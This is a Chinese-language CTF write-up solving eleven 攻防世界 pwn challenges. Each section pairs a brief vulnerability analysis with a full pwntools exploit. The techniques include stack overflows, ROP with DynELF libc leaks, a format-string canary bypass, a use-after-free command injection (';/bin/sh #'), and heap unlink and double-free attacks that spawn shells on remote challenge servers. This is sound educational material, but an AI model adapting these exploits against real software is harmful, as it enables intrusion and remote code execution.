攻防世界高手进阶pwn
歇了很长一段时间，终于开始了我的攻防世界pwn之路。
立一个flag：每日一题，只能多不能少。
0x00 dice_game
检查保护
image.png
查看逻辑，这是一个猜数游戏，猜对50次就可以得到flag。
关键点就在这个随机数种子，如果把这个种子设成0，又给了libc.so.6,那么这个随机数就在我们的掌控那个范围内了。
image.png
漏洞点在read函数，分配了0x50大小的空间，buf分配了55，这里看到buf与seed偏移为0x40。
image.png
exp:
#-*- coding:utf-8 -*-
from pwn import *
from ctypes import *
#p = process('./dice_game')
p = remote('111.198.29.45',31226)
payload = 'a'*0x40 + p64(0)
lib = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
a=[]
for i in range(50):
a.append(lib.rand()%6+1)
#print(a)
for i in a:
p.recvuntil("Give me the point(1~6): ")
p.sendline(str(i))
p.interactive()
0x01 warmup
这里没有源码就很***啊，我在BUU上找到了源码，还是假吧意思查看保护。
image.png
image.png
很明显gets可以溢出，sub_40060D泄露system地址，然后一把梭。
exp：
#-*- coding:utf-8-*
from pwn import *
p = remote('111.198.29.45',40497)
#p = process('./warmup_csaw_2016')
padding = 0x40 + 8
sys_addr = 0x40060d
payload = 'a'*padding + p64(sys_addr)
print payload
p.sendline(payload)
p.interactive()
0x02 forgot
检查保护
image.png
简单看一下逻辑，一直看发现有点绕，跳到最后看到一个(*(&v3 + --v14))();，这里调用了函数返回一些字符串，又找到一个system('cat flag')的函数，那么这道题就是需要覆盖v3的地址为system的地址，就是一个got表的覆盖吧。
image.png
这里有两种方法覆盖，一：在输入name时覆盖；二：在输入邮箱时覆盖。这里使用第二种，发现v2与v3偏移是32。
image.png
exp:
#-*-coding:utf-8-*-
from pwn import *
#p = process('./forgot')
p = remote('111.198.29.45',41636)
sys_addr = 0x80486cc
payload = 'A'* 32 + p32(sys_addr)
print p.recvuntil('> ')
p.sendline('a')
print p.recvuntil('> ')
p.sendline(payload)
print p.recv()
0x03 stack2
检查保护
image.png
IDA分析逻辑，得知，这是一个简单的运算器的程序，那么漏洞点在哪里呢？
仔细分析发现了这里的v13没有检查长度。可以利用，又看到了system('\bin\bash');
是不是很高兴。OK了?
image.png
现在主要就是找偏移了，这里学习了其他大佬的WP复现的。使用IDA动态调试。
首先在漏洞点下断点，再在程序结束后的return下断点
image.png
查看EBP,得到栈基址FF8FC1A8。
image.png
单步往下走，到输入函数是输入5，查看栈情况，往下找，找到栈顶地址为FF8FC22C，
image.png
这我们就找到偏移量为：hex(0xFF8FC22C-0xFF8FC1A8) = 0x84
写了脚本还是不对。。。。万恶的出题人。。。
找到官方WP,得知如下。需要sh。
image.png
这里0x080848980是‘/bin/bash’, 这里是一个char型数组，那么sh就是第八个元素，command[7]，所以地址应该是0x08048987。
image.png
地址为小端序存储，并且是char类型，占一个字节，所以按一字节分割地址，倒序发送。首先发送system地址，再发送sh地址把sh写入栈中。
exp
#-*-coding:utf-8-*-
from pwn import *
#p = process('./stack2')
p = remote('111.198.29.45',46611)
offest = 0x84
system_plt_addr = 0x08048450
sh_addr = 0x08048980+7
def write_addr(offest,res):
p.sendline('3')
p.recvuntil("which number to change:")
p.sendline(str(offest))
p.recvuntil("new number:")
p.sendline(str(res))
p.recvuntil("5. exit")
p.recvuntil("How many numbers you have:")
p.sendline('1')
p.recvuntil("Give me your numbers")
p.sendline('2')
p.recvuntil("5. exit")
#写入system_plt_addr
write_addr(offest,0x50)
write_addr(offest+1,0x84)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
#写入sh_addr
offest += 8
write_addr(offest,0x87)
write_addr(offest+1,0x89)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
p.sendline('5')
p.interactive()
0x04 pwn-100
这道题学到了很多东西：DynELF模块泄露system地址，栈恢复 ，rop链 。
检查保护
image.png
首先是寻找漏洞点，很简单，read()造成栈溢出，偏移也容易找到为 0x40+8 。
利用思路：
无libc，system。这时就可以利用pwntools里的DynELF模块泄露system地址，再写入'/bin/sh' ，最后调用system。
首先找到 pop rdi ; ret ，注意：x64中，主要使用__libc_csu_init中的两段代码来进行参数传递和函数调用，这两段代码分别位于0x400740和0x40075a，并且这两段代码执行后会将栈移动56字节，使用后需要再填充56字节。
:~/桌面/temp/功放世界$ ROPgadget --binary pwn-100 --only "pop|ret" | grep "rdi"
0x0000000000400763 : pop rdi ; ret
再找可写入的地址: 0x00600e10 ~ 0x00601068
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x004004c8 0x0040077d rx-p /home/dj/桌面/temp/功放世界/pwn-100
0x00400238 0x00400904 r--p /home/dj/桌面/temp/功放世界/pwn-100
0x00600e10 0x00601068 rw-p /home/dj/桌面/temp/功放世界/pwn-100
我们使用DyELF循环泄露地址，每次循环一次就调用start（就是main()函数执行之前所作的事情）进行栈恢复。这里有DynELF的exp模板
exp
#-*-coding:utf-8 -*-
from pwn import *
p = remote('111.198.29.45',40827)
#p = process('./pwn-100')
elf = ELF('./pwn-100')
start_addr = 0x400550
pop_rdi_ret = 0x400763
rop1 = 0x0400740
rop2 = 0x040075a
write_addr = 0x60107c #在这个范围内（0x00600e10 ， 0x00601068）都可以
puts_addr = elf.plt['puts']
read_addr = elf.got['read']
def leak(addr):
payload = 'a'*0x48
payload += p64(pop_rdi_ret) + p64(addr) + p64(puts_addr) + p64(start_addr)
payload = payload.ljust(200,'a')
#循环泄露地址，payload填充为200字节。
p.send(payload)
p.recvuntil("bye~\n")
count = 0
up = ""
data = ''
while True:
c = p.recv(numb = 1,timeout = 0.5)#等待0.5s接收输出
count +=1
if up == '\n' and c == '':
data = data[:-1]
data += '\x00'
break
else:
data += c
up = c
data = data[:8]
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data
#泄露system地址
d = DynELF(leak, elf=elf)
sys_addr = d.lookup('__libc_system','libc')
print 'sys_addr:',hex(sys_addr)
print "write /bin/sh to bss"
#构造read函数payload
payload1 = 'a'*0x48
payload1 += p64(rop2) + p64(0) + p64(1)
payload1 + p64(read_addr) + p64(8) + p64(write_addr) + p64(0) + p64(rop1)
payload1 += 'a' * 56 + p64(start_addr) # 填充56字节
payload1 = payload1.ljust(200,'a')
p.send(payload1)
print p.recvuntil('bye~\n')
#写入‘/bin/sh’
p.send("/bin/sh\x00")
#调用system()
payload2 = 'a'*0x48 + p64(pop_rdi_ret) + p64(write_addr) + p64(sys_addr) + p64(start_addr)
payload2 = payload2.ljust(200,'a')
p.send(payload2)
p.interactive()
0x05 Mary_morton
检查保护
image.png
分析逻辑，其中一个格式化字符漏洞，一个栈溢出，还有system('cat flag')。但是程序开启了canary保护。红色框出来的就是canary保护，如果rax与0x28异或不等于0就运行___stack_chk_fail，程序检测异常直接退出。
image.png
利用思路：
通过格式化字符漏洞获得canary值，在利用栈溢出布局栈结构把canary放上去，绕过保护后调用system()。
OK，先分析格式化字符漏洞的偏移，buf与v2连续，得到buf大小为0x90-0x8 = 0x88，由于是64位程序，在写入参数是先传入那六个寄存器（rdi，rsi，rdx，rcx，r8，r9 ），所以偏移为 0x88 / 8 + 6 = 23 字节 。
image.png
再分析栈溢出的偏移，这里不用传参，直接就是buf的大小：0x88 。
image.png
exp
#-*- coding:utf-8 -*-
from pwn import *
p = remote('111.198.29.45',35986)
#p = process('./Mary_Morton')
sys_addr = 0x04008DA
p.recvuntil('3. Exit the battle ')
p.sendline('2')
p.sendline('%23$p') # 格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数
# %后加输出的第几个值，$后加以什么形式输出，这里需要输出地址就使用p。
sleep(0.5)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print "canary_addr = ",hex(canary)
p.recvuntil('3. Exit the battle ')
p.sendline('1')
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(sys_addr) #
p.sendline(payload)
p.interactive()
0x06 monkey
一脸懵逼，查看WP，直接os.system('/bin/sh') ，就得到shell了，js咱也不会啊。
0x07 time_formatter
终于做到堆题了，日常自闭。
IDA 分析，程序有五个功能
image.png
第一个函数跟进里面有个strdup()函数，strdup()说明：返回指向被复制的字符串的指针，所需空间由malloc()分配且可以由free()释放。这里就是通过malloc()给ptr分配空间。
image.png
还看到这里有设置输出时间的类型，其实就是date命令的参数。
image.png
第二个貌似没什么用，就不分析了，看到第三个函数，又是通过malloc()给value分配空间。
image.png
第四个函数是对设置的时间格式输出，我们看到我们的输入会放到下面的system()中执行。
image.png
第五个函数这里就有一个UAF (Use After Free)漏洞，是先free()再询问是否真的退出。
image.png
所以我们利用这个漏洞，先调用第一个函数，然后free()掉，再调用第二个函数时传入 ';/bin/sh #\ ，这里注意命令的闭合。这里value就重用了刚刚没有内存回收的ptr块。再调用第四个函数将刚刚value的值作为system()的参数。就得到了shell。
exp:
#-*-coding: utf-8-*-
from pwn import *
p = remote('111.198.29.45',43208)
#p = process('./time_formatter')
print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Format: ')
p.sendline('%F')
print p.recvuntil('> ')
p.sendline('5')
print p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')
print p.recvuntil('> ')
p.sendline('3')
print p.recvuntil('Time zone: ')
p.sendline("';/bin/sh #")
print p.recvuntil('> ')
p.sendline('4')
p.sendline('cat flag')
print p.recv()
0x08 pwn-200
简单的栈溢出，开启了NX保护，不能使用shellcode，无libc，所以使用DynELF模块泄露system地址。最后需要栈恢复，再调用system(‘/bin/sh\00')函数得到shell。
exp:
#-*-coding:utf-8-*-
from pwn import *
p = remote('111.198.29.45',45300)
# p = process('./pwn-200')
elf = ELF('./pwn-200')
ppp_addr = 0x0804856c
start_addr = 0x080483D0
fun_addr = 0x08048484
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = elf.bss()
offest = 0x6c + 4
def leak(addr):
payload = 'a'*offest + p32(write_plt) + p32(fun_addr) + p32(1)
payload += p32(addr) + p32(4)
p.send(payload)
res = p.recv(4)
return res
print p.recv()
d = DynELF(leak,elf = ELF('./pwn-200'))
system_addr = d.lookup('system','libc')
payload = 'a'*offest + p32(start_addr)
p.sendline(payload)
print p.recv()
payload = 'a'*offest + p32(read_plt) + p32(ppp_addr) + p32(0)
payload += p32(bss_addr) + p32(8) + p32(system_addr) + p32(fun_addr)
payload += p32(bss_addr) + '/bin/sh\00'
p.send(payload)
p.interactive()
0x09 4-ReeHY-main-100
检查保护
image.png
IDA分析，菜单类型的题目。查看各个功能：写、删除、编辑、打印(这个功能没用)，在”写“功能里面发现，size 和 cun 输入是有符号数，所以可以输入负数，在read时转化成无符号数会变成很大的整数，造成整型溢出。
if ( dword_6020AC <= 4 )
{
puts("Input size");
result = sub_400C55("Input size");
LODWORD(nbytes) = result;
if ( result <= 0x1000 )
{
puts("Input cun");
result = sub_400C55("Input cun");
v3 = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 0x70 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
*((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
dword_6020E8[4 * v3] = 1;
++dword_6020AC;
result = fflush(stdout);
}
}
}
再分析“删除”功能，这里没有判断堆块是否存在就free,所以可以double-free。
__int64 sub_400B21()
{
__int64 result; // rax
int v1; // [rsp-4h] [rbp-4h]
puts("Chose one to dele");
result = sub_400C55("Chose one to dele");
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&unk_6020E0 + 2 * (signed int)result));
dword_6020E8[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(dword_6020AC-- - 1);
}
return result;
}
在分析”修改“功能，这里是修改内容，验证了堆块是否存在。
int sub_400BA1()
{
int result; // eax
int v1; // [rsp-4h] [rbp-4h]
puts("Chose one to edit");
result = sub_400C55("Chose one to edit");
v1 = result;
if ( result <= 4 )
{
result = dword_6020E8[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
result = puts("Edit success!");
}
}
return result;
}
解题思路：
1.首先申请两个堆块0、1（这里申请的大小要合适，必须使用small bin后面才会unlink）。
2.然后free堆块0、1，堆块0做为unlink的块，堆块1做为free的块。
3.申请一个大小为 “堆块0加堆块1的大小“ 的堆块，这样会合并刚刚free的两个堆块。这时需要构造payload（具体看下面exp）欺骗系统堆块0已经被free了。
4.利用double-free,再free掉堆块1，这样使指针指向堆块1的前三个字节。
5.修改堆块0，将前三个字节覆盖掉，然后修改为free的GOT表地址和atoi的GOT表地址（用于计算偏移）。
6.再次修改堆块0，修改free为puts的plt地址，目的是将atoi的地址打印出来。
7.计算偏移，得到system地址，传入‘/bin/sh‘得到shell。
(盗一下图)
chunk0 malloc返回的ptr chunk1 malloc返回的ptr
| | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+
| | | | | | | | | | |
| | | | | | prev | size&| | | |
| prev_size |size&Flag| | | | size | flag | | | |
| | | | | | | | | | |
| | | | | | | | | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+
hunk0 malloc返回的ptr chunk1 malloc返回的ptr
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| FD | BK | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|-------new_chunk0-------|
exp:
# -*- coding: utf-8 -*-
from pwn import*
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level="debug")
def Welcome():
p.recvuntil("$ ")
p.sendline("mutepig")
def Add(size,id,content):
p.recvuntil("$ ")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("cun\n")
p.sendline(str(id))
p.recvuntil("content\n")
p.sendline(content)
def Remove(id):
p.recvuntil("$ ")
p.sendline("2")
p.recvuntil("dele\n")
p.sendline(str(id))
def Edit(id,content):
p.recvuntil("$ ")
p.sendline("3")
p.recvuntil("edit\n")
p.sendline(str(id))
p.recvuntil("content\n")
p.send(content)
if 0: # local
p = process("./4-ReeHY-main")
else:
p = remote('111.198.29.45',57450)
elf = ELF('4-ReeHY-main')
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
heap_addr = 0x602100
print hex(free_got)
Welcome()
Add(512,0,"/bin/sh\x00")
Add(512,1,"11111111")
Add(512,2,"22222222")
Add(512,3,"33333333")
Remove(3)
Remove(2)
print hex(heap_addr)
payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)
payload += 'A'*(512-0x20) + p64(512) + p64(512)
Add(1024,2,payload)
Remove(3) #double free后，此时2的指针指向存放该指针的前3字节，在栈上
Edit(2,'1'*0x18 + p64(free_got)+p64(1)+p64(atoi_got))
#这里修改的是存放指向2和3的指针的位置，edit后，原本指向2的指针已指向got表中的free
#原本指向3的指针指向got表中atoi函数的位置，用于泄露atoi函数的地址。
Edit(2,p64(puts_plt)) #修改free为puts
Remove(3) #相当于puts(got[atoi])
atoi_addr=p.recv(6)
atoi_addr=atoi_addr.ljust(8,'\x00')
atoi_addr = u64(atoi_addr)
obj=LibcSearcher("atoi",atoi_addr)
base_addr = atoi_addr - obj.dump('atoi')
print "======="+hex(base_addr)
system_addr = base_addr + obj.dump('system')
Edit(2,p64(system_addr))
Remove(0)
p.interactive()
0x10 babyfenngshui
#-*- coding:utf-8-*-
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',35423)
elf=ELF('./babyfengshui')
#libc = ELF('libc.so.6')
obj=LibcSearcher('free',0xf7659750)
def add_note(size,length,text):
p.recvuntil('Action: ')
p.sendline('0')
p.recvuntil('size of description: ')
p.sendline(str(size))
p.recvuntil('name: ')
p.sendline('AAA')
p.recvuntil('text length: ')
p.sendline(str(length))
p.recvuntil('text: ')
p.sendline(text)
def delete_note(idx):
p.recvuntil('Action: ')
p.sendline('1')
p.recvuntil('index: ')
p.sendline(str(idx))
def display_note(idx):
p.recvuntil('Action: ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
def update_note(idx,length,text):
p.recvuntil('Action: ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('text length: ')
p.sendline(str(length))
p.sendlineafter('text: ',text)
add_note(0x80,0x80,'abcd')
add_note(0x80,0x80,'efgh')
add_note(0x8,0x8,'/bin/sh\00')
delete_note(0)
add_note(0x100,0x19c,'a'*0x198 + p32(elf.got['free']))
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
system_addr = free_addr - (obj.dump('free') - obj.dump('system'))
log.info("system_addr 0x%x" % system_addr)
update_note(1,0x4,p32(system_addr))
delete_note(2)
p.interactive()
